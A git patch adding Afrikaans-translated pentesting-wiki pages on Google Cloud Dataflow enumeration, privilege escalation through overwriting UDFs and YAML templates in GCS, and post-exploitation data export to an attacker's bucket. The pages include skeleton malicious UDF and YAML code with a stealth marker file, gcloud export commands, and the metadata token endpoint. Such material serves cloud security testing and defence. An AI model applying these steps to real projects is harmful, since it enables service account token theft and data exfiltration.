From 5bda76c488da1ad7801682bf95d8b9a4ceb30e39 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Mon, 16 Feb 2026 11:12:44 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow

---
 .../gcp-dataflow-post-exploitation.md         |  53 ++++++
 .../gcp-dataflow-privesc.md                   | 173 ++++++++++++++++++
 .../gcp-services/gcp-dataflow-enum.md         |  81 ++++++++
 3 files changed, 307 insertions(+)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md

diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md
new file mode 100644
index 000000000..1a61dbabe
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md
@@ -0,0 +1,53 @@
+# GCP - Dataflow Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataflow
+
+Vir meer inligting oor Dataflow sien:
+
+{{#ref}}
+../gcp-services/gcp-dataflow-enum.md
+{{#endref}}
+
+### Gebruik Dataflow om data van ander dienste te exfiltrateer
+
+**Permissies:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (over a SA with access to source and sink)
+
+Met Dataflow job-skeppingsregte kan jy GCP Dataflow-templates gebruik om data uit Bigtable, BigQuery, Pub/Sub en ander dienste na GCS-buckets wat deur die aanvaller beheer word uit te voer. Dit is 'n kragtige post-exploitation technique wanneer jy Dataflow-toegang bekom het — byvoorbeeld via die [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write).
+
+> [!NOTE]
+> Jy het `iam.serviceAccounts.actAs` oor 'n service account met voldoende permissies nodig om die source te lees en na die sink te skryf. By default word die Compute Engine default SA gebruik as dit nie gespesifiseer is nie.
+
+#### Bigtable na GCS
+
+Sien [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" vir die volledige patroon. Templates: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`.
+
+<details>
+
+<summary>Voer Bigtable na 'n deur die aanvaller beheerde bucket uit</summary>
+```bash
+gcloud dataflow jobs run <job-name> \
+--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
+--project=<PROJECT> \
+--region=<REGION> \
+--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<YOUR_BUCKET>/raw-json/ \
+--staging-location=gs://<YOUR_BUCKET>/staging/
+```
+</details>
+
+#### BigQuery to GCS
+
+Dataflow templates bestaan om BigQuery-data uit te voer. Gebruik die toepaslike template vir jou teikenvormaat (JSON, Avro, etc.) en wys die uitset na jou bucket.
+
+#### Pub/Sub and streaming sources
+
+Stroompyplyne kan van Pub/Sub (of ander bronne) lees en na GCS skryf. Begin 'n job' met 'n template wat van die teiken Pub/Sub subscription lees en na jou beheerde bucket skryf.
+
+## References
+
+- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates)
+- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
+- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md
new file mode 100644
index 000000000..40ea12381
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md
@@ -0,0 +1,173 @@
+# GCP - Dataflow Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataflow
+
+{{#ref}}
+../gcp-services/gcp-dataflow-enum.md
+{{#endref}}
+
+### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`
+
+Dataflow valideer nie die integriteit van UDFs en job template YAMLs wat in GCS gestoor word nie.
+Met bucket write access kan jy hierdie lêers oorskryf om kode in te voeg, op die workers kode uit te voer, service account tokens te steel, of dataverwerking te verander.
+Beide batch en streaming pipeline jobs is geskikte teikens vir hierdie aanval. Om hierdie aanval op 'n pipeline uit te voer moet ons UDFs/templates vervang voordat die job hardloop, tydens die eerste paar minute (voordat die job workers geskep word) of gedurende die job-run voordat nuwe workers spin up (weens autoscaling).
+
+**Attack vectors:**
+- **UDF hijacking:** Python (`.py`) en JS (`.js`) UDFs wat deur pipelines verwys word en in customer-managed buckets gestoor word
+- **Job template hijacking:** Custom YAML pipeline definisies wat in customer-managed buckets gestoor word
+
+
+> [!WARNING]
+> **Run-once-per-worker trick:** Dataflow UDFs en template callables word aangeroep **per row/line**. Sonder koördinasie sou exfiltration of token theft duisende kere loop, wat geraas, rate limiting en opsporing tot gevolg het. Gebruik 'n **file-based coordination** patroon: kontroleer aan die begin of 'n marker-lêer (bv. `/tmp/pwnd.txt`) bestaan; as dit bestaan, slaan die kwaadwillige kode oor; as dit nie bestaan nie, voer die payload uit en skep die lêer. Dit verseker dat die payload **once per worker** hardloop, nie per line nie.
+
+
+#### Direct exploitation via gcloud CLI
+
+1. Enumereer Dataflow jobs en lokaliseer die template/UDF GCS-paaie:
+
+<details>
+
+<summary>Lys jobs en gebruik describe om die template path, staging location, en UDF-referensies te kry</summary>
+```bash
+# List jobs (optionally filter by region)
+gcloud dataflow jobs list --region=<region>
+gcloud dataflow jobs list --project=<PROJECT_ID>
+
+# Describe a job to get template GCS path, staging location, and any UDF/template references
+gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
+# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
+# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
+```
+</details>
+
+2. Laai die oorspronklike UDF- of job-sjabloon vanaf GCS af:
+
+<details>
+
+<summary>Laai UDF-lêer of YAML-sjabloon vanaf bucket af</summary>
+```bash
+# If job references a UDF at gs://bucket/path/to/udf.py
+gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py
+
+# Or for a YAML job template
+gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
+```
+</details>
+
+3. Wysig die lêer plaaslik: voeg die kwaadwillige payload in (sien Python UDF of YAML-fragmente hieronder) en maak seker dat die run-once coordination pattern gebruik word.
+
+4. Herlaai om die oorspronklike lêer te oorskryf:
+
+<details>
+
+<summary>Oorskryf UDF of template in bucket</summary>
+```bash
+gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py
+
+# Or for YAML
+gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
+```
+</details>
+
+5. Wag vir die volgende job-run, of (vir streaming) trigger autoscaling (bv. die pipeline-invoer oorlaai) sodat nuwe workers opstart en die gewysigde lêer aflaai.
+
+#### Python UDF injection
+
+As jy wil hê dat die worker data na jou C2 server moet exfiltrate, gebruik `urllib.request` en nie `requests` nie.
+`requests` is nie vooraf geïnstalleer op classic Dataflow workers nie.
+
+<details>
+
+<summary>Malicious UDF with run-once coordination and metadata extraction</summary>
+```python
+import os
+import json
+import urllib.request
+from datetime import datetime
+
+def _malicious_func():
+# File-based coordination: run once per worker.
+coordination_file = "/tmp/pwnd.txt"
+if os.path.exists(coordination_file):
+return
+
+# malicous code goes here
+with open(coordination_file, "w", encoding="utf-8") as f:
+f.write("done")
+
+def transform(line):
+# Malicous code entry point - runs per line but coordination ensures once per worker
+try:
+_malicious_func()
+except Exception:
+pass
+# ... original UDF logic follows ...
+```
+</details>
+
+
+#### Job-sjabloon YAML-injeksie
+
+Injekseer 'n `MapToFields`-stap met 'n callable wat 'n koordinasielêer gebruik. Vir YAML-gebaseerde pipelines wat `requests` ondersteun, gebruik dit as die sjabloon `dependencies: [requests]` verklaar; anders verkies `urllib.request`.
+
+Voeg die opruimstap (`drop: [malicious_step]`) by sodat die pipeline steeds geldige data na die bestemming skryf.
+
+<details>
+
+<summary>Kwaadaardige MapToFields-stap en opruiming in pipeline YAML</summary>
+```yaml
+- name: MaliciousTransform
+type: MapToFields
+input: Transform
+config:
+language: python
+fields:
+malicious_step:
+callable: |
+def extract_and_return(row):
+import os
+import json
+from datetime import datetime
+coordination_file = "/tmp/pwnd.txt"
+if os.path.exists(coordination_file):
+return True
+try:
+import urllib.request
+# malicious code goes here
+with open(coordination_file, "w", encoding="utf-8") as f:
+f.write("done")
+except Exception:
+pass
+return True
+append: true
+- name: CleanupTransform
+type: MapToFields
+input: MaliciousTransform
+config:
+fields: {}
+append: true
+drop:
+- malicious_step
+```
+</details>
+
+### Compute Engine toegang tot Dataflow Workers
+
+**Permissies:** `compute.instances.osLogin` of `compute.instances.osAdminLogin` (met `iam.serviceAccounts.actAs` oor die worker SA), of `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata` (met `iam.serviceAccounts.actAs`) vir legacy SSH key injection
+
+Dataflow workers hardloop as Compute Engine VMs. Toegang tot workers via OS Login of SSH laat jou toe om SA-tokens van die metadata-endpoint (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`) te lees, data te manipuleer, of willekeurige kode uit te voer.
+
+Vir besonderhede oor uitbuiting, sien:
+- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`
+
+## Verwysings
+
+- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
+- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
+- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
+- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
+- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md
new file mode 100644
index 000000000..3ccce0bad
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md
@@ -0,0 +1,81 @@
+# GCP - Dataflow Enumerasie
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basiese Inligting
+
+**Google Cloud Dataflow** is 'n volledig bestuurde diens vir **batch- en streaming-data verwerking**. Dit stel organisasies in staat om pipelines te bou wat data op skaal omskakel en ontleed, en integreer met Cloud Storage, BigQuery, Pub/Sub, en Bigtable. Dataflow-pipelines hardloop op worker VMs in jou projek; templates en User-Defined Functions (UDFs) word dikwels in GCS-buckets gestoor. [Learn more](https://cloud.google.com/dataflow).
+
+## Komponente
+
+'n Dataflow-pipeline sluit tipies in:
+
+**Template:** YAML of JSON definisies (en Python/Java kode vir flex templates) gestoor in GCS wat die pipeline-struktuur en stappe definieer.
+
+**Launcher (Flex Templates):** 'n Kortlewendige Compute Engine-instansie kan gebruik word vir Flex Template-lanceringe om die template te valideer en houers voor te berei voordat die job loop.
+
+**Workers:** Compute Engine VMs wat die werklike dataverwerkings- take uitvoer, en UDFs en instruksies van die template aflaai.
+
+**Staging/Temp buckets:** GCS-buckets wat tydelike pipeline-data, job-artikels, UDF-lêers en flex template metadata (`.json`) stoor.
+
+## Batch vs Streaming Jobs
+
+Dataflow ondersteun twee uitvoeringsmodusse:
+
+**Batch-jobs:** Verwerk 'n vaste, begrensde datastel (bv. 'n loglêer, 'n tabel-uitvoer). Die job hardloop een keer tot voltooiing en stop dan. Workers word geskep vir die duur van die job en afgeskakel wanneer klaar. Batch-jobs word tipies gebruik vir ETL, historiese ontleding, of geskeduleerde datamigrasies.
+
+**Streaming-jobs:** Verwerk onbeperkte, deurlopend aankomende data (bv. Pub/Sub-boodskappe, lewendige sensorfeeds). Die job hardloop totdat dit uitdruklik gestop word. Workers kan op- en afskaal; nuwe workers kan weens autoscaling geskep word, en hulle sal pipeline-komponente (templates, UDFs) vanaf GCS by opstart aflaai.
+
+## Enumerasie
+
+Dataflow-jobs en verwante hulpbronne kan opgesom word om service accounts, template-paaie, staging buckets en UDF-lokasies te versamel.
+
+### Job-Enumerasie
+
+Om Dataflow-jobs op te som en hul besonderhede te kry:
+```bash
+# List Dataflow jobs in the project
+gcloud dataflow jobs list
+# List Dataflow jobs (by region)
+gcloud dataflow jobs list --region=<region>
+
+# Describe job (includes service account, template GCS path, staging location, parameters)
+gcloud dataflow jobs describe <job-id> --region=<region>
+```
+Jobbeskrywings openbaar die sjabloon GCS-pad, staging-ligging en die werker se diensrekening — nuttig om buckets te identifiseer wat pipeline-komponente stoor.
+
+### Sjabloon- en bucket-enumerasie
+
+Buckets wat in jobbeskrywings verwys word, kan flex templates, UDFs, of YAML pipeline-definisies bevat:
+```bash
+# List objects in a bucket (look for .json flex templates, .py UDFs, .yaml pipeline defs)
+gcloud storage ls gs://<bucket>/
+
+# List objects recursively
+gcloud storage ls gs://<bucket>/**
+```
+## Privilegiestyging
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-dataflow-privesc.md
+{{#endref}}
+
+## Post-uitbuiting
+
+{{#ref}}
+../gcp-post-exploitation/gcp-dataflow-post-exploitation.md
+{{#endref}}
+
+## Persistensie
+
+{{#ref}}
+../gcp-persistence/gcp-dataflow-persistence.md
+{{#endref}}
+
+## Verwysings
+
+- [Dataflow overview](https://cloud.google.com/dataflow)
+- [Pipeline workflow execution in Dataflow](https://cloud.google.com/dataflow/docs/guides/pipeline-workflows)
+- [Troubleshoot templates](https://cloud.google.com/dataflow/docs/guides/troubleshoot-templates)
+
+{{#include ../../../banners/hacktricks-training.md}}